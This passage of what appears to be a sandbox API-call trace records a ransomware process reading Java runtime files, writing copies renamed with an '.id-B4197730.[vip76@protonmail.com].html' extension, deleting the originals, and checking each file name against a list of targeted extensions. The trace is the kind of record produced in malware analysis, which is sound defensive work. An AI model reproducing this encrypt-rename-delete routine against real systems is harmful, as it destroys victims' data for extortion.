	[0086.171] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.171] lstrlenW (lpString=".bz2") returned 4
	[0086.171] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.171] lstrlenW (lpString=".7z") returned 3
	[0086.171] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.171] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53
	[0086.171] lstrlenW (lpString=".dbf") returned 4
	[0086.171] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.171] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53
	[0086.171] lstrlenW (lpString=".1cd") returned 4
	[0086.171] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.171] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53
	[0086.171] lstrlenW (lpString=".jpg") returned 4
	[0086.171] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.171] lstrcmpiW (lpString1=".cpl", lpString2=".html") returned -1
	[0086.171] lstrlenW (lpString="javacpl.cpl") returned 11
	[0086.171] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0086.172] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=187392) returned 1
	[0086.172] CloseHandle (hObject=0x378) returned 1
	[0086.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl")) returned 0x20
	[0086.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.172] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0086.172] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.172] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.172] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0086.172] GetLastError () returned 0x0
	[0086.173] ReadFile (in: hFile=0x378, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x2dc00, lpOverlapped=0x0) returned 1
	[0086.177] WriteFile (in: hFile=0x334, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x2dc10, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x2dc10, lpOverlapped=0x0) returned 1
	[0086.181] ReadFile (in: hFile=0x378, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.181] WriteFile (in: hFile=0x334, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xea, lpOverlapped=0x0) returned 1
	[0086.181] SetEndOfFile (hFile=0x334) returned 1
	[0086.181] CloseHandle (hObject=0x334) returned 1
	[0086.181] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.181] SetEndOfFile (hFile=0x378) returned 1
	[0086.183] CloseHandle (hObject=0x378) returned 1
	[0086.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0086.183] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl")) returned 1
	[0086.184] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50
	[0086.184] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50
	[0086.184] lstrlenW (lpString=".doc") returned 4
	[0086.184] lstrcmpiW (lpString1=".doc", lpString2=".cpl") returned 1
	[0086.184] lstrlenW (lpString=".docx") returned 5
	[0086.184] lstrcmpiW (lpString1=".docx", lpString2="l.cpl") returned -1
	[0086.184] lstrlenW (lpString=".pdf") returned 4
	[0086.184] lstrcmpiW (lpString1=".pdf", lpString2=".cpl") returned 1
	[0086.184] lstrlenW (lpString=".xls") returned 4
	[0086.184] lstrcmpiW (lpString1=".xls", lpString2=".cpl") returned 1
	[0086.184] lstrlenW (lpString=".xlsx") returned 5
	[0086.184] lstrcmpiW (lpString1=".xlsx", lpString2="l.cpl") returned -1
	[0086.184] lstrlenW (lpString=".ppt") returned 4
	[0086.184] lstrcmpiW (lpString1=".ppt", lpString2=".cpl") returned 1
	[0086.184] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50
	[0086.184] lstrlenW (lpString=".zip") returned 4
	[0086.184] lstrcmpiW (lpString1=".zip", lpString2=".cpl") returned 1
	[0086.184] lstrlenW (lpString=".rar") returned 4
	[0086.184] lstrcmpiW (lpString1=".rar", lpString2=".cpl") returned 1
	[0086.184] lstrlenW (lpString=".bz2") returned 4
	[0086.184] lstrcmpiW (lpString1=".bz2", lpString2=".cpl") returned -1
	[0086.184] lstrlenW (lpString=".7z") returned 3
	[0086.184] lstrcmpiW (lpString1=".7z", lpString2="cpl") returned -1
	[0086.184] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50
	[0086.184] lstrlenW (lpString=".dbf") returned 4
	[0086.184] lstrcmpiW (lpString1=".dbf", lpString2=".cpl") returned 1
	[0086.184] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50
	[0086.184] lstrlenW (lpString=".1cd") returned 4
	[0086.184] lstrcmpiW (lpString1=".1cd", lpString2=".cpl") returned -1
	[0086.184] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50
	[0086.184] lstrlenW (lpString=".jpg") returned 4
	[0086.184] lstrcmpiW (lpString1=".jpg", lpString2=".cpl") returned 1
	[0086.185] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50
	[0086.185] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50
	[0086.185] lstrlenW (lpString=".doc") returned 4
	[0086.185] lstrcmpiW (lpString1=".doc", lpString2=".cpl") returned 1
	[0086.185] lstrlenW (lpString=".docx") returned 5
	[0086.185] lstrcmpiW (lpString1=".docx", lpString2="l.cpl") returned -1
	[0086.185] lstrlenW (lpString=".pdf") returned 4
	[0086.185] lstrcmpiW (lpString1=".pdf", lpString2=".cpl") returned 1
	[0086.185] lstrlenW (lpString=".xls") returned 4
	[0086.185] lstrcmpiW (lpString1=".xls", lpString2=".cpl") returned 1
	[0086.185] lstrlenW (lpString=".xlsx") returned 5
	[0086.185] lstrcmpiW (lpString1=".xlsx", lpString2="l.cpl") returned -1
	[0086.185] lstrlenW (lpString=".ppt") returned 4
	[0086.185] lstrcmpiW (lpString1=".ppt", lpString2=".cpl") returned 1
	[0086.185] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50
	[0086.185] lstrlenW (lpString=".zip") returned 4
	[0086.185] lstrcmpiW (lpString1=".zip", lpString2=".cpl") returned 1
	[0086.185] lstrlenW (lpString=".rar") returned 4
	[0086.185] lstrcmpiW (lpString1=".rar", lpString2=".cpl") returned 1
	[0086.185] lstrlenW (lpString=".bz2") returned 4
	[0086.185] lstrcmpiW (lpString1=".bz2", lpString2=".cpl") returned -1
	[0086.185] lstrlenW (lpString=".7z") returned 3
	[0086.185] lstrcmpiW (lpString1=".7z", lpString2="cpl") returned -1
	[0086.185] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50
	[0086.185] lstrlenW (lpString=".dbf") returned 4
	[0086.185] lstrcmpiW (lpString1=".dbf", lpString2=".cpl") returned 1
	[0086.185] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50
	[0086.185] lstrlenW (lpString=".1cd") returned 4
	[0086.185] lstrcmpiW (lpString1=".1cd", lpString2=".cpl") returned -1
	[0086.185] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50
	[0086.185] lstrlenW (lpString=".jpg") returned 4
	[0086.185] lstrcmpiW (lpString1=".jpg", lpString2=".cpl") returned 1
	[0086.186] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1
	[0086.186] lstrlenW (lpString="javacpl.exe") returned 11
	[0086.186] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0086.186] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=80448) returned 1
	[0086.186] CloseHandle (hObject=0x378) returned 1
	[0086.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe")) returned 0x20
	[0086.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.186] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0086.186] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.186] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.186] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0086.187] GetLastError () returned 0x0
	[0086.187] ReadFile (in: hFile=0x378, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x13a40, lpOverlapped=0x0) returned 1
	[0086.189] WriteFile (in: hFile=0x334, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x13a50, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x13a50, lpOverlapped=0x0) returned 1
	[0086.191] ReadFile (in: hFile=0x378, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.191] WriteFile (in: hFile=0x334, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xea, lpOverlapped=0x0) returned 1
	[0086.191] SetEndOfFile (hFile=0x334) returned 1
	[0086.191] CloseHandle (hObject=0x334) returned 1
	[0086.192] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.192] SetEndOfFile (hFile=0x378) returned 1
	[0086.193] CloseHandle (hObject=0x378) returned 1
	[0086.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0086.193] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe")) returned 1
	[0086.194] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50
	[0086.194] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50
	[0086.194] lstrlenW (lpString=".doc") returned 4
	[0086.194] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0086.194] lstrlenW (lpString=".docx") returned 5
	[0086.194] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1
	[0086.194] lstrlenW (lpString=".pdf") returned 4
	[0086.194] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0086.194] lstrlenW (lpString=".xls") returned 4
	[0086.194] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0086.194] lstrlenW (lpString=".xlsx") returned 5
	[0086.195] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1
	[0086.195] lstrlenW (lpString=".ppt") returned 4
	[0086.195] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0086.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50
	[0086.195] lstrlenW (lpString=".zip") returned 4
	[0086.195] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0086.195] lstrlenW (lpString=".rar") returned 4
	[0086.195] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0086.195] lstrlenW (lpString=".bz2") returned 4
	[0086.195] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0086.195] lstrlenW (lpString=".7z") returned 3
	[0086.195] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0086.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50
	[0086.195] lstrlenW (lpString=".dbf") returned 4
	[0086.195] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0086.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50
	[0086.195] lstrlenW (lpString=".1cd") returned 4
	[0086.195] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0086.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50
	[0086.195] lstrlenW (lpString=".jpg") returned 4
	[0086.195] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0086.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50
	[0086.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50
	[0086.195] lstrlenW (lpString=".doc") returned 4
	[0086.195] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0086.195] lstrlenW (lpString=".docx") returned 5
	[0086.195] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1
	[0086.195] lstrlenW (lpString=".pdf") returned 4
	[0086.195] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0086.195] lstrlenW (lpString=".xls") returned 4
	[0086.195] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0086.195] lstrlenW (lpString=".xlsx") returned 5
	[0086.196] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1
	[0086.196] lstrlenW (lpString=".ppt") returned 4
	[0086.196] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0086.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50
	[0086.196] lstrlenW (lpString=".zip") returned 4
	[0086.196] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0086.196] lstrlenW (lpString=".rar") returned 4
	[0086.196] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0086.196] lstrlenW (lpString=".bz2") returned 4
	[0086.196] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0086.196] lstrlenW (lpString=".7z") returned 3
	[0086.196] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0086.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50
	[0086.196] lstrlenW (lpString=".dbf") returned 4
	[0086.196] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0086.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50
	[0086.196] lstrlenW (lpString=".1cd") returned 4
	[0086.196] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0086.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50
	[0086.196] lstrlenW (lpString=".jpg") returned 4
	[0086.196] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0086.196] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0086.196] lstrlenW (lpString="javafx_font.dll") returned 15
	[0086.196] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0086.197] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=69184) returned 1
	[0086.197] CloseHandle (hObject=0x378) returned 1
	[0086.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll")) returned 0x20
	[0086.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.197] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0086.197] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.198] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.198] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0086.198] GetLastError () returned 0x0
	[0086.198] ReadFile (in: hFile=0x378, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x10e40, lpOverlapped=0x0) returned 1
	[0086.201] WriteFile (in: hFile=0x334, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x10e50, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x10e50, lpOverlapped=0x0) returned 1
	[0086.202] ReadFile (in: hFile=0x378, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.202] WriteFile (in: hFile=0x334, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xf2, lpOverlapped=0x0) returned 1
	[0086.203] SetEndOfFile (hFile=0x334) returned 1
	[0086.203] CloseHandle (hObject=0x334) returned 1
	[0086.203] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.203] SetEndOfFile (hFile=0x378) returned 1
	[0086.204] CloseHandle (hObject=0x378) returned 1
	[0086.204] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0086.204] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll")) returned 1
	[0086.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54
	[0086.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54
	[0086.204] lstrlenW (lpString=".doc") returned 4
	[0086.204] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0086.205] lstrlenW (lpString=".docx") returned 5
	[0086.205] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0086.205] lstrlenW (lpString=".pdf") returned 4
	[0086.205] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0086.205] lstrlenW (lpString=".xls") returned 4
	[0086.205] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0086.205] lstrlenW (lpString=".xlsx") returned 5
	[0086.205] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0086.205] lstrlenW (lpString=".ppt") returned 4
	[0086.205] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0086.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54
	[0086.205] lstrlenW (lpString=".zip") returned 4
	[0086.205] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.205] lstrlenW (lpString=".rar") returned 4
	[0086.205] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.205] lstrlenW (lpString=".bz2") returned 4
	[0086.205] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.205] lstrlenW (lpString=".7z") returned 3
	[0086.205] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54
	[0086.205] lstrlenW (lpString=".dbf") returned 4
	[0086.205] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54
	[0086.205] lstrlenW (lpString=".1cd") returned 4
	[0086.205] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54
	[0086.205] lstrlenW (lpString=".jpg") returned 4
	[0086.205] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54
	[0086.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54
	[0086.205] lstrlenW (lpString=".doc") returned 4
	[0086.205] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0086.205] lstrlenW (lpString=".docx") returned 5
	[0086.206] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0086.206] lstrlenW (lpString=".pdf") returned 4
	[0086.206] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0086.206] lstrlenW (lpString=".xls") returned 4
	[0086.206] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0086.206] lstrlenW (lpString=".xlsx") returned 5
	[0086.206] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0086.206] lstrlenW (lpString=".ppt") returned 4
	[0086.206] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0086.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54
	[0086.206] lstrlenW (lpString=".zip") returned 4
	[0086.206] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.206] lstrlenW (lpString=".rar") returned 4
	[0086.206] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.206] lstrlenW (lpString=".bz2") returned 4
	[0086.206] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.206] lstrlenW (lpString=".7z") returned 3
	[0086.206] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54
	[0086.206] lstrlenW (lpString=".dbf") returned 4
	[0086.206] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54
	[0086.206] lstrlenW (lpString=".1cd") returned 4
	[0086.206] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54
	[0086.206] lstrlenW (lpString=".jpg") returned 4
	[0086.206] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.206] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0086.206] lstrlenW (lpString="javafx_font_t2k.dll") returned 19
